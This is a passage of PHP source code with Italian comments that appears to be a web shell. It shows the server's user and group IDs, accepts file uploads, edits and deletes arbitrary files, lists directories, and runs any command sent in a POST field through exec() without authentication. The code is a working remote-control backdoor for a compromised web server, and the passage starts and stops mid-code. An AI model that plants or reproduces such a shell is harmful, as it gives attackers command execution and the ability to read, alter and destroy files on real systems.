";
if (is_callable("posix_getuid") and is_callable("posix_getgid")) {
$uid=posix_getuid();
$uname=posix_getpwuid($uid);
$uname=$uname['name'];
$gid=posix_getgid();
$gname=posix_getgrgid($gid);
$gname=$gname['name'];
print "
~ uid
$uid ($uname)
";
print "
~ gid
$gid ($gname)
";
}
print "
";
if (!isset($_POST['file'])) {
?>
\n";
print "~ file name: ".$_FILES['userfile']['name']." ".
"\n~ type: ".$_FILES['userfile']['type']." \n".
"~ size: ".$_FILES['userfile']['size']." bytes \n";
}
else print "$ Error while loading ".$_FILES['userfile']['name']." \n";
}
#
# Modifica o cancellazione di file
#
if (isset($_POST['dofile'])) {
$ref=$_SERVER['HTTP_REFERER'];
$fname=htmlentities($_POST['dofile']);
$content=$_POST['content'];
#
# Modifica
#
if (isset($_POST['save'])) {
if (!($fp=fopen($fname,"w")))
die ("$ Unable to write to $fname \n");
fputs ($fp,$content);
fclose($fp);
print ("File $fname successfully updated
\n");
}
#
# Cancellazione
#
if (isset($_POST['remove'])) {
unlink ($fname) or die ("$ Unable to remove $fname \n");
print "$fname successfully removed
\n";
}
}
#
# Esecuzione di un comando
#
if (isset($_POST['cmd'])) {
$cmd=$_POST['cmd'];
$output=array();
exec ($cmd,$output);
print " \n";
print "# cmd output:
";
print "
\n";
foreach ($output as $line)
print "$line \n";
print "
\n";
die('');
}
#
# Visualizzazione di file
#
if (isset($_POST['fname'])) {
print "# Warning: editing or removing a file is only possible if you've got the privileges to do that
";
$fname=htmlentities($_POST['fname']);
$file=file($fname) or print "$ Unable to open $fname \n";
print "n";
}
#
# Visualizzazione del contenuto di una directory
#
if (isset($_POST['dirname']))
$path=htmlspecialchars($_POST['dirname']);
else
$path=getcwd();
$dp=opendir($path) or die("$ Unable to open $path \n");
chdir ($path);
$path=getcwd();
print "
\n";
print "> cwd: ".getcwd()."
\n\n";
$dir=array();
while ($file=readdir($dp))
if (strcmp(".",$file))
array_push($dir,"$path/$file");
closedir($dp);
sort($dir);
?>